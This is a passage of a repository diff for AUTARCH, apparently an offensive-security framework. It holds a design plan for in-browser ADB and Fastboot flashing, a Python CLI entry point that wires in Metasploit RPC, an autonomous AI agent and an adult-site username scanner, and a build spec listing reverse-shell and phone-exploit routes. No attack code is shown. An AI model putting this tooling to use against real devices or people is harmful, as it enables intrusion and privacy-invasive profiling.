export { AdbDaemonWebUsbDeviceManager, AdbDaemonWebUsbDevice } from '@yume-chan/adb-daemon-webusb';
export { AdbDaemonTransport, Adb, AdbSync } from '@yume-chan/adb';
// src/fastboot-entry.js
export { FastbootDevice, setDebugLevel } from 'android-fastboot';
// src/esptool-entry.js
export { ESPLoader, Transport } from 'esptool-js';
```
The pre-built bundles are committed to `web/static/js/lib/` so no npm/node is needed at runtime. The build script is only run when updating library versions.
---
## Implementation Phases
### Phase A: Build Infrastructure & Library Bundles
**Files:** `package.json`, `scripts/build-hw-libs.sh`, `src/*.js`, `web/static/js/lib/*.js`
1. Create `package.json` in project root (devDependencies only — not needed at runtime)
2. Create entry-point files in `src/` for each library
3. Create build script `scripts/build-hw-libs.sh`
4. Run build, verify bundles work in browser
5. Add `node_modules/` to `.gitignore` equivalent (cleanup notes)
**Deliverable:** Three bundled JS files in `web/static/js/lib/`
### Phase B: Direct-Mode JavaScript Module
**Files:** `web/static/js/hardware-direct.js` (~500 lines)
Core module providing a unified API that mirrors the existing server-mode functions:
```js
// hardware-direct.js — Browser-based device access
const HWDirect = {
// State
supported: { webusb: !!navigator.usb, webserial: !!navigator.serial },
adbDevice: null, // current ADB connection
fbDevice: null, // current Fastboot connection
espLoader: null, // current ESP32 connection
espTransport: null,
// ── ADB (WebUSB) ────────────────────────────────
async adbRequestDevice() { ... }, // navigator.usb.requestDevice()
async adbConnect(usbDevice) { ... }, // handshake + auth → Adb instance
async adbShell(cmd) { ... }, // adb.subprocess.spawnAndWait
async adbReboot(mode) { ... }, // adb.power.reboot / bootloader / recovery
async adbInstall(blob) { ... }, // adb install APK
async adbPush(blob, path) { ... }, // adb.sync().write()
async adbPull(path) { ... }, // adb.sync().read() → Blob download
async adbLogcat(lines) { ... }, // adb subprocess logcat
async adbGetInfo() { ... }, // getprop queries
async adbDisconnect() { ... },
// ── Fastboot (WebUSB) ────────────────────────────
async fbRequestDevice() { ... }, // FastbootDevice.connect()
async fbGetInfo() { ... }, // getVariable queries
async fbFlash(partition, blob, progressCb) { ... },
async fbReboot(mode) { ... },
async fbOemUnlock() { ... },
async fbDisconnect() { ... },
// ── ESP32 (Web Serial) ───────────────────────────
async espRequestPort() { ... }, // navigator.serial.requestPort()
async espConnect(port, baud) { ... }, // Transport + ESPLoader.main()
async espDetectChip() { ... }, // loader.chipName
async espFlash(fileArray, progressCb) { ... },
async espMonitorStart(outputCb) { ... },
async espMonitorSend(data) { ... },
async espMonitorStop() { ... },
async espDisconnect() { ... },
// ── Factory Flash (PixelFlasher PoC) ─────────────
async factoryFlash(zipBlob, options, progressCb) { ... },
};
```
### Phase C: UI Integration — Mode Switcher & Direct Controls
**Files:** `web/templates/hardware.html`, `web/static/js/app.js`
1. **Mode toggle** at top of hardware page:
```
[Connection Mode] ○ Server (device on AUTARCH host) ● Direct (device on this PC)
```
- Direct mode shows browser compatibility warning if WebUSB/Serial not supported
- Direct mode shows "Pair Device" buttons (triggers USB/Serial permission prompts)
2. **Modify existing JS functions** to check mode:
```js
// In app.js, each hw*() function checks the mode:
async function hwRefreshAdbDevices() {
if (hwConnectionMode === 'direct') {
// Use HWDirect.adbRequestDevice() / enumerate
} else {
// Existing: fetchJSON('/hardware/adb/devices')
}
}
```
3. **New UI elements for direct mode:**
- "Connect ADB Device" button (triggers WebUSB permission prompt)
- "Connect Fastboot Device" button (triggers WebUSB permission prompt)
- "Connect Serial Port" button (triggers Web Serial permission prompt)
- File picker for firmware uploads (local files, no server upload needed)
- Progress bars driven by JS callbacks instead of SSE streams
4. **Keep all existing server-mode UI** — just add the mode switch.
### Phase D: PixelFlasher Proof-of-Concept
**Files:** `web/static/js/hardware-direct.js` (factoryFlash section), `web/templates/hardware.html` (new tab/section)
Inspired by PixelFlasher's workflow, create a "Flash Factory Image" feature:
1. **Upload factory image ZIP** (via file input, read in browser — no server upload)
2. **Parse ZIP contents** (identify flash-all.sh/bat, partition images)
3. **Display flash plan** (list of partitions + images to flash, with sizes)
4. **Safety checks:**
- Verify device product matches image (getVariable product vs ZIP name)
- Check bootloader unlock status
- Warn about data wipe partitions (userdata, metadata)
- Show A/B slot info if applicable
5. **Options:**
- [ ] Flash all partitions (default)
- [ ] Skip userdata (preserve data)
- [ ] Disable vbmeta verification (for custom ROMs)
- [ ] Flash to inactive slot (A/B devices)
6. **Execute flash sequence:**
- Reboot to bootloader if in ADB mode
- Flash each partition with progress bar
- Reboot to system
7. **Boot image patching** (future — Magisk/KernelSU integration)
### Phase E: Polish & Testing
1. Error handling for all WebUSB/Serial operations (device disconnected mid-flash, permission denied, etc.)
2. Browser compatibility detection and graceful degradation
3. Connection status indicators (connected device info in header)
4. Reconnection logic if USB device resets during flash
5. Update `autarch_dev.md` with completed phase notes
---
## File Changes Summary
### New Files
| File | Purpose | Est. Lines |
|------|---------|-----------|
| `package.json` | npm deps for build only | 20 |
| `scripts/build-hw-libs.sh` | esbuild bundler script | 25 |
| `src/adb-entry.js` | ya-webadb re-export | 5 |
| `src/fastboot-entry.js` | fastboot.js re-export | 3 |
| `src/esptool-entry.js` | esptool-js re-export | 3 |
| `web/static/js/lib/adb-bundle.js` | Built bundle | ~varies |
| `web/static/js/lib/fastboot-bundle.js` | Built bundle | ~varies |
| `web/static/js/lib/esptool-bundle.js` | Built bundle | ~varies |
| `web/static/js/hardware-direct.js` | Direct-mode logic | ~500 |
### Modified Files
| File | Changes |
|------|---------|
| `web/templates/hardware.html` | Add mode toggle, direct-mode connect buttons, factory flash section, script includes |
| `web/static/js/app.js` | Add mode switching to all hw*() functions |
| `web/static/css/style.css` | Styles for mode toggle, connect buttons, compatibility warnings |
### Unchanged
| File | Reason |
|------|--------|
| `core/hardware.py` | Server-mode backend stays as-is |
| `web/routes/hardware.py` | Server-mode routes stay as-is |
| `modules/hardware_local.py` | CLI module stays as-is |
---
## Browser Compatibility
| Feature | Chrome | Edge | Firefox | Safari |
|---------|--------|------|---------|--------|
| WebUSB (ADB/Fastboot) | 61+ | 79+ | No | No |
| Web Serial (ESP32) | 89+ | 89+ | No | No |
**Fallback:** Users with Firefox/Safari use Server Mode (device plugged into AUTARCH host). Direct Mode requires Chromium-based browser.
---
## Security Considerations
1. **WebUSB requires HTTPS** in production (or localhost). AUTARCH currently runs plain HTTP. For direct mode to work remotely, either:
- Run behind a reverse proxy with TLS (nginx/caddy)
- Use localhost (device and browser on same machine)
- Use the server-mode fallback instead
2. **USB permission prompts** — The browser shows a native device picker. Users must explicitly select their device. No access without user gesture.
3. **Flash safety checks** — Same partition whitelist as server mode. Confirm dialogs before destructive operations. Product verification before factory flash.
---
## Implementation Order
```
Phase A → Phase B → Phase C → Phase D → Phase E
(libs) (JS API) (UI) (PoC) (polish)
~1 session ~1 session ~1 session ~1 session ~1 session
```
Start with Phase A (build the library bundles) since everything else depends on having working JS libraries available in the browser.
---
## PixelFlasher Feature Mapping
| PixelFlasher Feature | AUTARCH Implementation | Phase |
|---------------------|----------------------|-------|
| Factory image flash | ZIP upload → parse → flash sequence | D |
| OTA sideload | ADB sideload (server) / adb.install (direct) | C |
| Boot image patching (Magisk) | Future — extract boot.img, patch, flash back | Future |
| Multi-device support | Device list + select (both modes already do this) | C |
| A/B slot management | fastboot getvar current-slot / set_active | D |
| Dry run mode | Parse + display flash plan without executing | D |
| Partition backup | fastboot fetch / adb pull partition | Future |
| Lock/unlock status | fastboot getvar unlocked | D |
| Device state display | Product, variant, bootloader version, secure, etc. | C |
---
## Notes
- All npm/node dependencies are **build-time only**. The built JS bundles are static files served by Flask. No Node.js runtime needed.
- The `src/` directory and `node_modules/` are build artifacts, not needed for deployment.
- Library bundles should be rebuilt when upgrading library versions. Pin versions in package.json.
- The server-side mode remains the primary mode for headless/remote AUTARCH deployments where devices are plugged into the server.
- Direct mode is an enhancement for users who want to flash devices plugged into their own workstation while using the AUTARCH web UI.

782
autarch.py Normal file
View File

@ -0,0 +1,782 @@
#!/usr/bin/env python3
"""
AUTARCH - Autonomous Tactical Agent for Reconnaissance, Counterintelligence, and Hacking
By darkHal Security Group and Setec Security Labs
Main entry point for the AUTARCH framework.
"""
import sys
import shutil
import argparse
import importlib.util
from pathlib import Path
from textwrap import dedent
# Version info
VERSION = "1.3"
BUILD_DATE = "2026-01-14"
# Ensure the framework directory is in the path
FRAMEWORK_DIR = Path(__file__).parent
sys.path.insert(0, str(FRAMEWORK_DIR))
from core.banner import Colors, clear_screen, display_banner
def get_epilog():
"""Get detailed help epilog text."""
return f"""{Colors.BOLD}CATEGORIES:{Colors.RESET}
defense Defensive security tools (hardening, audits, monitoring)
offense Penetration testing (Metasploit integration, exploits)
counter Counter-intelligence (threat hunting, anomaly detection)
analyze Forensics & analysis (file analysis, strings, hashes)
osint Open source intelligence (email, username, domain lookup)
simulate Attack simulation (port scan, payloads, stress test)
{Colors.BOLD}MODULES:{Colors.RESET}
chat Interactive LLM chat interface
agent Autonomous AI agent with tool access
msf Metasploit Framework interface
defender System hardening and security checks
counter Threat detection and hunting
analyze File forensics and analysis
recon OSINT reconnaissance (email, username, phone, domain)
adultscan Adult site username scanner
simulate Attack simulation tools
{Colors.BOLD}EXAMPLES:{Colors.RESET}
{Colors.DIM}# Start interactive menu{Colors.RESET}
python autarch.py
{Colors.DIM}# Run a specific module{Colors.RESET}
python autarch.py -m chat
python autarch.py -m adultscan
python autarch.py --module recon
{Colors.DIM}# List all available modules{Colors.RESET}
python autarch.py -l
python autarch.py --list
{Colors.DIM}# Quick OSINT username scan{Colors.RESET}
python autarch.py osint <username>
{Colors.DIM}# Show current configuration{Colors.RESET}
python autarch.py --show-config
{Colors.DIM}# Re-run setup wizard{Colors.RESET}
python autarch.py --setup
{Colors.DIM}# Skip setup (run without LLM){Colors.RESET}
python autarch.py --skip-setup
{Colors.DIM}# Use alternate config file{Colors.RESET}
python autarch.py -c /path/to/config.conf
{Colors.BOLD}FILES:{Colors.RESET}
autarch_settings.conf Main configuration file
user_manual.md Comprehensive user manual
custom_adultsites.json Custom adult sites storage
custom_sites.inf Bulk import domains file
GUIDE.md Quick reference guide
DEVLOG.md Development log
{Colors.BOLD}CONFIGURATION:{Colors.RESET}
LLM settings:
model_path Path to GGUF model file
n_ctx Context window size (default: 4096)
n_threads CPU threads (default: 4)
n_gpu_layers GPU layers to offload (default: 0)
temperature Sampling temperature (default: 0.7)
MSF settings:
host Metasploit RPC host (default: 127.0.0.1)
port Metasploit RPC port (default: 55553)
ssl Use SSL connection (default: true)
autoconnect Auto-start msfrpcd on launch (default: true)
{Colors.BOLD}METASPLOIT AUTO-CONNECT:{Colors.RESET}
On startup, AUTARCH will:
1. Scan for existing msfrpcd server
2. If found: stop it and prompt for new credentials
3. Start msfrpcd with sudo (for raw socket module support)
4. Connect to the server
To skip autoconnect: python autarch.py --no-msf
Quick connect: python autarch.py --msf-user msf --msf-pass secret
Without sudo: python autarch.py --msf-no-sudo
{Colors.BOLD}MORE INFO:{Colors.RESET}
Documentation: See GUIDE.md for full documentation
Development: See DEVLOG.md for development history
{Colors.DIM}Project AUTARCH - By darkHal Security Group and Setec Security Labs{Colors.RESET}
"""
def create_parser():
"""Create the argument parser."""
parser = argparse.ArgumentParser(
prog='autarch',
description=f'{Colors.BOLD}AUTARCH{Colors.RESET} - Autonomous Tactical Agent for Reconnaissance, Counterintelligence, and Hacking',
epilog=get_epilog(),
formatter_class=argparse.RawDescriptionHelpFormatter,
add_help=False # We'll add custom help
)
# Help and version
parser.add_argument(
'-h', '--help',
action='store_true',
help='Show this help message and exit'
)
parser.add_argument(
'-v', '--version',
action='store_true',
help='Show version information and exit'
)
# Configuration
parser.add_argument(
'-c', '--config',
metavar='FILE',
help='Use alternate configuration file'
)
parser.add_argument(
'--show-config',
action='store_true',
help='Display current configuration and exit'
)
parser.add_argument(
'--manual',
action='store_true',
help='Show the user manual'
)
parser.add_argument(
'--setup',
action='store_true',
help='Run the setup wizard'
)
parser.add_argument(
'--skip-setup',
action='store_true',
help='Skip first-time setup (run without LLM)'
)
# Module execution
parser.add_argument(
'-m', '--module',
metavar='NAME',
help='Run a specific module directly'
)
parser.add_argument(
'-l', '--list',
action='store_true',
help='List all available modules'
)
parser.add_argument(
'--list-category',
metavar='CAT',
choices=['defense', 'offense', 'counter', 'analyze', 'osint', 'simulate', 'core'],
help='List modules in a specific category'
)
# Display options
parser.add_argument(
'--no-banner',
action='store_true',
help='Suppress the ASCII banner'
)
parser.add_argument(
'-q', '--quiet',
action='store_true',
help='Minimal output mode'
)
parser.add_argument(
'--verbose',
action='store_true',
help='Enable verbose output'
)
# Web UI options
parser.add_argument(
'--web',
action='store_true',
help='Start the web dashboard'
)
parser.add_argument(
'--web-port',
type=int,
metavar='PORT',
help='Web dashboard port (default: 8181)'
)
# Web service management
parser.add_argument(
'--service',
metavar='ACTION',
choices=['start', 'stop', 'restart', 'status', 'enable', 'disable', 'install'],
help='Manage AUTARCH web service (start|stop|restart|status|enable|disable|install)'
)
# MCP server
parser.add_argument(
'--mcp',
choices=['stdio', 'sse'],
nargs='?',
const='stdio',
metavar='MODE',
help='Start MCP server (stdio for Claude Desktop/Code, sse for web clients)'
)
parser.add_argument(
'--mcp-port',
type=int,
default=8081,
metavar='PORT',
help='MCP SSE server port (default: 8081)'
)
# UPnP options
parser.add_argument(
'--upnp-refresh',
action='store_true',
help='Refresh all UPnP port mappings and exit (for cron use)'
)
# Metasploit options
parser.add_argument(
'--no-msf',
action='store_true',
help='Skip Metasploit autoconnect on startup'
)
parser.add_argument(
'--msf-user',
metavar='USER',
help='MSF RPC username for quick connect'
)
parser.add_argument(
'--msf-pass',
metavar='PASS',
help='MSF RPC password for quick connect'
)
parser.add_argument(
'--msf-no-sudo',
action='store_true',
help='Do not use sudo when starting msfrpcd (limits some modules)'
)
# Quick commands (positional)
parser.add_argument(
'command',
nargs='?',
choices=['chat', 'agent', 'osint', 'scan', 'analyze'],
help='Quick command to run'
)
parser.add_argument(
'target',
nargs='?',
help='Target for quick commands (username, IP, file, etc.)'
)
return parser
def show_version():
"""Display version information."""
print(f"""
{Colors.BOLD}AUTARCH{Colors.RESET} - Autonomous Tactical Agent
Version: {VERSION}
Build: {BUILD_DATE}
{Colors.DIM}By darkHal Security Group and Setec Security Labs{Colors.RESET}
Components:
- Core Framework v{VERSION}
- LLM Integration llama-cpp-python
- MSF Integration Metasploit RPC
- Agent System Autonomous tools
Modules:
- chat Interactive LLM chat
- agent Autonomous AI agent
- msf Metasploit interface
- defender System hardening (defense)
- counter Threat detection (counter)
- analyze Forensics tools (analyze)
- recon OSINT reconnaissance (osint)
- adultscan Adult site scanner (osint)
- simulate Attack simulation (simulate)
Python: {sys.version.split()[0]}
Path: {FRAMEWORK_DIR}
""")
def show_config():
"""Display current configuration."""
from core.config import get_config
config = get_config()
print(f"\n{Colors.BOLD}AUTARCH Configuration{Colors.RESET}")
print(f"{Colors.DIM}{'' * 50}{Colors.RESET}\n")
print(f"{Colors.CYAN}Config File:{Colors.RESET} {config.config_path}")
print()
# LLM Settings
print(f"{Colors.CYAN}LLM Settings:{Colors.RESET}")
llama = config.get_llama_settings()
for key, value in llama.items():
print(f" {key:20} = {value}")
# Autarch Settings
print(f"\n{Colors.CYAN}Autarch Settings:{Colors.RESET}")
print(f" {'first_run':20} = {config.get('autarch', 'first_run')}")
print(f" {'modules_path':20} = {config.get('autarch', 'modules_path')}")
print(f" {'verbose':20} = {config.get('autarch', 'verbose')}")
# MSF Settings
print(f"\n{Colors.CYAN}Metasploit Settings:{Colors.RESET}")
try:
from core.msf import get_msf_manager
msf = get_msf_manager()
settings = msf.get_settings()
for key, value in settings.items():
if key == 'password':
value = '*' * len(value) if value else '(not set)'
print(f" {key:20} = {value}")
except:
print(f" {Colors.DIM}(MSF not configured){Colors.RESET}")
print()
def list_modules(category=None):
"""List available modules."""
from core.menu import MainMenu, CATEGORIES
menu = MainMenu()
menu.load_modules()
print(f"\n{Colors.BOLD}Available Modules{Colors.RESET}")
print(f"{Colors.DIM}{'' * 60}{Colors.RESET}\n")
if category:
# List specific category
cat_info = CATEGORIES.get(category, {})
modules = menu.get_modules_by_category(category)
color = cat_info.get('color', Colors.WHITE)
print(f"{color}{Colors.BOLD}{category.upper()}{Colors.RESET} - {cat_info.get('description', '')}")
print()
if modules:
for name, info in modules.items():
print(f" {color}{name:15}{Colors.RESET} {info.description}")
print(f" {Colors.DIM}{'':15} v{info.version} by {info.author}{Colors.RESET}")
else:
print(f" {Colors.DIM}No modules in this category{Colors.RESET}")
else:
# List all categories
for cat_name, cat_info in CATEGORIES.items():
modules = menu.get_modules_by_category(cat_name)
if not modules:
continue
color = cat_info.get('color', Colors.WHITE)
print(f"{color}{Colors.BOLD}{cat_name.upper()}{Colors.RESET} - {cat_info.get('description', '')}")
for name, info in modules.items():
print(f" {color}[{name}]{Colors.RESET} {info.description}")
print()
print(f"{Colors.DIM}Total modules: {len(menu.modules)}{Colors.RESET}")
print(f"{Colors.DIM}Run with: python autarch.py -m <module_name>{Colors.RESET}\n")
def run_module(module_name, quiet=False):
"""Run a specific module directly."""
modules_path = FRAMEWORK_DIR / 'modules'
module_file = modules_path / f"{module_name}.py"
if not module_file.exists():
print(f"{Colors.RED}[X] Module not found: {module_name}{Colors.RESET}")
print(f"{Colors.DIM}Use --list to see available modules{Colors.RESET}")
sys.exit(1)
try:
spec = importlib.util.spec_from_file_location(module_name, module_file)
module = importlib.util.module_from_spec(spec)
spec.loader.exec_module(module)
if hasattr(module, 'run'):
if not quiet:
clear_screen()
display_banner()
print(f"{Colors.GREEN}[+] Running module: {module_name}{Colors.RESET}")
print(f"{Colors.DIM}{'' * 50}{Colors.RESET}\n")
module.run()
else:
print(f"{Colors.RED}[X] Module '{module_name}' has no run() function{Colors.RESET}")
sys.exit(1)
except Exception as e:
print(f"{Colors.RED}[X] Module error: {e}{Colors.RESET}")
sys.exit(1)
def quick_osint(username):
"""Quick OSINT username lookup."""
print(f"\n{Colors.CYAN}Quick OSINT: {username}{Colors.RESET}")
print(f"{Colors.DIM}{'' * 40}{Colors.RESET}\n")
# Run adultscan with username
try:
from modules.adultscan import AdultScanner
scanner = AdultScanner()
scanner.scan_username(username)
scanner.display_results()
except Exception as e:
print(f"{Colors.RED}Error: {e}{Colors.RESET}")
def quick_scan(target):
"""Quick port scan."""
print(f"\n{Colors.CYAN}Quick Scan: {target}{Colors.RESET}")
print(f"{Colors.DIM}{'' * 40}{Colors.RESET}\n")
try:
from modules.simulate import Simulator
sim = Simulator()
# Would need to modify simulator to accept target directly
# For now, just inform user
print(f"Use: python autarch.py -m simulate")
print(f"Then select Port Scanner and enter: {target}")
except Exception as e:
print(f"{Colors.RED}Error: {e}{Colors.RESET}")
def manage_service(action):
"""Manage the AUTARCH web dashboard systemd service."""
import subprocess
SERVICE_NAME = "autarch-web"
SERVICE_FILE = FRAMEWORK_DIR / "scripts" / "autarch-web.service"
SYSTEMD_PATH = Path("/etc/systemd/system/autarch-web.service")
if action == 'install':
# Install the service file
if not SERVICE_FILE.exists():
print(f"{Colors.RED}[X] Service file not found: {SERVICE_FILE}{Colors.RESET}")
return
try:
subprocess.run(['sudo', 'cp', str(SERVICE_FILE), str(SYSTEMD_PATH)], check=True)
subprocess.run(['sudo', 'systemctl', 'daemon-reload'], check=True)
print(f"{Colors.GREEN}[+] Service installed: {SYSTEMD_PATH}{Colors.RESET}")
print(f"{Colors.DIM} Enable with: python autarch.py --service enable{Colors.RESET}")
print(f"{Colors.DIM} Start with: python autarch.py --service start{Colors.RESET}")
except subprocess.CalledProcessError as e:
print(f"{Colors.RED}[X] Install failed: {e}{Colors.RESET}")
return
if not SYSTEMD_PATH.exists():
print(f"{Colors.YELLOW}[!] Service not installed. Run: python autarch.py --service install{Colors.RESET}")
return
cmd_map = {
'start': ['sudo', 'systemctl', 'start', SERVICE_NAME],
'stop': ['sudo', 'systemctl', 'stop', SERVICE_NAME],
'restart': ['sudo', 'systemctl', 'restart', SERVICE_NAME],
'enable': ['sudo', 'systemctl', 'enable', SERVICE_NAME],
'disable': ['sudo', 'systemctl', 'disable', SERVICE_NAME],
}
if action == 'status':
result = subprocess.run(
['systemctl', 'is-active', SERVICE_NAME],
capture_output=True, text=True
)
is_active = result.stdout.strip()
result2 = subprocess.run(
['systemctl', 'is-enabled', SERVICE_NAME],
capture_output=True, text=True
)
is_enabled = result2.stdout.strip()
color = Colors.GREEN if is_active == 'active' else Colors.RED
print(f"\n {Colors.BOLD}AUTARCH Web Service{Colors.RESET}")
print(f" {'' * 30}")
print(f" Status: {color}{is_active}{Colors.RESET}")
print(f" Enabled: {is_enabled}")
print()
# Show journal output
result3 = subprocess.run(
['journalctl', '-u', SERVICE_NAME, '-n', '5', '--no-pager'],
capture_output=True, text=True
)
if result3.stdout.strip():
print(f" {Colors.DIM}Recent logs:{Colors.RESET}")
for line in result3.stdout.strip().split('\n'):
print(f" {Colors.DIM}{line}{Colors.RESET}")
return
if action in cmd_map:
try:
subprocess.run(cmd_map[action], check=True)
print(f"{Colors.GREEN}[+] Service {action}: OK{Colors.RESET}")
except subprocess.CalledProcessError as e:
print(f"{Colors.RED}[X] Service {action} failed: {e}{Colors.RESET}")
def check_first_run():
"""Check if this is the first run and execute setup if needed."""
from core.config import get_config
config = get_config()
if config.is_first_run():
from modules.setup import run as run_setup
if not run_setup():
print("Setup cancelled. Exiting.")
sys.exit(1)
def msf_autoconnect(skip: bool = False, username: str = None, password: str = None,
use_sudo: bool = True):
"""Handle Metasploit autoconnect on startup.
Args:
skip: Skip autoconnect entirely
username: Optional username for quick connect
password: Optional password for quick connect
use_sudo: Run msfrpcd with sudo (default True for raw socket support)
"""
if skip:
return
from core.msf import get_msf_manager, msf_startup_autoconnect, msf_quick_connect, MSGPACK_AVAILABLE
if not MSGPACK_AVAILABLE:
print(f"{Colors.DIM} [MSF] msgpack not available - skipping autoconnect{Colors.RESET}")
return
# If credentials provided via command line, use quick connect
if password:
msf_quick_connect(username=username, password=password, use_sudo=use_sudo)
else:
# Use interactive autoconnect
msf_startup_autoconnect()
def run_setup_wizard():
"""Run the setup wizard."""
from modules.setup import run as run_setup
run_setup()
def main():
"""Main entry point for AUTARCH."""
parser = create_parser()
args = parser.parse_args()
# Handle help
if args.help:
if not args.quiet:
display_banner()
parser.print_help()
sys.exit(0)
# Handle version
if args.version:
show_version()
sys.exit(0)
# Handle config file override
if args.config:
from core import config as config_module
config_module._config = config_module.Config(args.config)
# Handle show config
if args.show_config:
show_config()
sys.exit(0)
# Handle manual
if getattr(args, 'manual', False):
manual_path = FRAMEWORK_DIR / 'user_manual.md'
if manual_path.exists():
# Try to use less/more for paging
import subprocess
pager = 'less' if shutil.which('less') else ('more' if shutil.which('more') else None)
if pager:
subprocess.run([pager, str(manual_path)])
else:
print(manual_path.read_text())
else:
print(f"{Colors.RED}[X] User manual not found: {manual_path}{Colors.RESET}")
sys.exit(0)
# Handle setup
if args.setup:
if not args.no_banner:
clear_screen()
display_banner()
run_setup_wizard()
sys.exit(0)
# Handle skip setup
if args.skip_setup:
from modules.setup import SetupWizard
wizard = SetupWizard()
wizard.skip_setup()
sys.exit(0)
# Handle service management
if args.service:
manage_service(args.service)
sys.exit(0)
# Handle MCP server
if args.mcp:
from core.mcp_server import run_stdio, run_sse
if args.mcp == 'sse':
print(f"{Colors.CYAN}[*] Starting AUTARCH MCP server (SSE) on port {args.mcp_port}{Colors.RESET}")
run_sse(port=args.mcp_port)
else:
run_stdio()
sys.exit(0)
# Handle web dashboard
if args.web:
from web.app import create_app
from core.config import get_config
from core.paths import get_data_dir
config = get_config()
app = create_app()
host = config.get('web', 'host', fallback='0.0.0.0')
port = args.web_port or config.get_int('web', 'port', fallback=8181)
# Auto-generate self-signed TLS cert for HTTPS (required for WebUSB over LAN)
ssl_ctx = None
use_https = config.get('web', 'https', fallback='true').lower() != 'false'
if use_https:
import os, subprocess as _sp
cert_dir = os.path.join(get_data_dir(), 'certs')
os.makedirs(cert_dir, exist_ok=True)
cert_path = os.path.join(cert_dir, 'autarch.crt')
key_path = os.path.join(cert_dir, 'autarch.key')
if not os.path.exists(cert_path) or not os.path.exists(key_path):
print(f"{Colors.CYAN}[*] Generating self-signed TLS certificate...{Colors.RESET}")
_sp.run([
'openssl', 'req', '-x509', '-newkey', 'rsa:2048',
'-keyout', key_path, '-out', cert_path,
'-days', '3650', '-nodes',
'-subj', '/CN=AUTARCH/O=darkHal',
], check=True, capture_output=True)
ssl_ctx = (cert_path, key_path)
proto = 'https'
else:
proto = 'http'
print(f"{Colors.GREEN}[+] Starting AUTARCH Web Dashboard on {proto}://{host}:{port}{Colors.RESET}")
app.run(host=host, port=port, debug=False, ssl_context=ssl_ctx)
sys.exit(0)
# Handle UPnP refresh (for cron)
if args.upnp_refresh:
from core.upnp import get_upnp_manager
upnp = get_upnp_manager()
results = upnp.refresh_all()
for r in results:
status = "OK" if r['success'] else "FAIL"
print(f" {r['port']}/{r['protocol']}: {status}")
sys.exit(0)
# Handle list modules
if args.list:
list_modules()
sys.exit(0)
if args.list_category:
list_modules(args.list_category)
sys.exit(0)
# Handle direct module execution
if args.module:
run_module(args.module, args.quiet)
sys.exit(0)
# Handle quick commands
if args.command:
if not args.no_banner:
clear_screen()
display_banner()
if args.command == 'chat':
run_module('chat', args.quiet)
elif args.command == 'agent':
run_module('agent', args.quiet)
elif args.command == 'osint':
if args.target:
quick_osint(args.target)
else:
print(f"{Colors.RED}Usage: autarch osint <username>{Colors.RESET}")
elif args.command == 'scan':
if args.target:
quick_scan(args.target)
else:
print(f"{Colors.RED}Usage: autarch scan <target>{Colors.RESET}")
elif args.command == 'analyze':
if args.target:
run_module('analyze', args.quiet)
else:
run_module('analyze', args.quiet)
sys.exit(0)
# Default: run interactive menu
try:
# Display banner first
if not args.no_banner:
clear_screen()
display_banner()
# Check for first run and execute setup
check_first_run()
# Metasploit autoconnect
msf_autoconnect(
skip=args.no_msf,
username=args.msf_user,
password=args.msf_pass,
use_sudo=not args.msf_no_sudo
)
# Apply CLI display flags to config for this session
from core.config import get_config
cfg = get_config()
if args.verbose:
cfg.set('autarch', 'verbose', 'true')
if args.quiet:
cfg.set('autarch', 'quiet', 'true')
if args.no_banner:
cfg.set('autarch', 'no_banner', 'true')
# Start the main menu
from core.menu import MainMenu
menu = MainMenu()
menu.run()
except KeyboardInterrupt:
print(f"\n\n{Colors.CYAN}Exiting AUTARCH...{Colors.RESET}")
sys.exit(0)
except Exception as e:
print(f"\n{Colors.RED}Fatal error: {e}{Colors.RESET}")
if '--verbose' in sys.argv:
import traceback
traceback.print_exc()
sys.exit(1)
if __name__ == "__main__":
main()

141
autarch.spec Normal file
View File

@ -0,0 +1,141 @@
# -*- mode: python ; coding: utf-8 -*-
# PyInstaller spec for AUTARCH
# Build: pyinstaller autarch.spec
# Output: dist/bin/AUTARCH/ (one-dir) and dist/bin/AUTARCH.exe (one-file via --onefile)
import sys
from pathlib import Path
SRC = Path(SPECPATH)
block_cipher = None
# ── Data files (non-Python assets to bundle) ─────────────────────────────────
added_files = [
# Web assets
(str(SRC / 'web' / 'templates'), 'web/templates'),
(str(SRC / 'web' / 'static'), 'web/static'),
# Data (SQLite DBs, site lists, config defaults)
(str(SRC / 'data'), 'data'),
# Modules directory (dynamically loaded)
(str(SRC / 'modules'), 'modules'),
# Root-level config and docs
(str(SRC / 'autarch_settings.conf'), '.'),
(str(SRC / 'autarch_settings.conf'), '.'),
(str(SRC / 'user_manual.md'), '.'),
(str(SRC / 'windows_manual.md'), '.'),
(str(SRC / 'custom_sites.inf'), '.'),
(str(SRC / 'custom_adultsites.json'), '.'),
# Android ADB/fastboot tools
(str(SRC / 'android'), 'android'),
# Windows tool binaries (nmap, tshark, etc. — user fills this in)
(str(SRC / 'tools'), 'tools'),
]
# ── Hidden imports ────────────────────────────────────────────────────────────
hidden_imports = [
# Flask ecosystem
'flask', 'flask.templating', 'jinja2', 'jinja2.ext',
'werkzeug', 'werkzeug.serving', 'werkzeug.debug',
'markupsafe',
# Core libraries
'bcrypt', 'requests', 'msgpack', 'pyserial', 'qrcode', 'PIL',
'PIL.Image', 'PIL.ImageDraw', 'cryptography',
# AUTARCH core modules
'core.config', 'core.paths', 'core.banner', 'core.menu',
'core.llm', 'core.agent', 'core.tools',
'core.msf', 'core.msf_interface',
'core.hardware', 'core.android_protect',
'core.upnp', 'core.wireshark', 'core.wireguard',
'core.mcp_server', 'core.discovery',
'core.osint_db', 'core.nvd',
# Web routes (Flask blueprints)
'web.app', 'web.auth',
'web.routes.auth_routes',
'web.routes.dashboard',
'web.routes.defense',
'web.routes.offense',
'web.routes.counter',
'web.routes.analyze',
'web.routes.osint',
'web.routes.simulate',
'web.routes.settings',
'web.routes.upnp',
'web.routes.wireshark',
'web.routes.hardware',
'web.routes.android_exploit',
'web.routes.iphone_exploit',
'web.routes.android_protect',
'web.routes.wireguard',
'web.routes.revshell',
'web.routes.archon',
'web.routes.msf',
'web.routes.chat',
'web.routes.targets',
# Standard library (sometimes missed on Windows)
'email.mime.text', 'email.mime.multipart',
'xml.etree.ElementTree',
'sqlite3', 'json', 'logging', 'logging.handlers',
'threading', 'queue', 'uuid', 'hashlib',
'configparser', 'platform', 'socket', 'shutil',
'importlib', 'importlib.util', 'importlib.metadata',
]
a = Analysis(
['autarch.py'],
pathex=[str(SRC)],
binaries=[],
datas=added_files,
hiddenimports=hidden_imports,
hookspath=[],
hooksconfig={},
runtime_hooks=[],
excludes=[
# Exclude heavy optional deps not needed at runtime
'torch', 'transformers', 'llama_cpp', 'anthropic',
'tkinter', 'matplotlib', 'numpy',
],
noarchive=False,
optimize=0,
)
pyz = PYZ(a.pure, a.zipped_data, cipher=block_cipher)
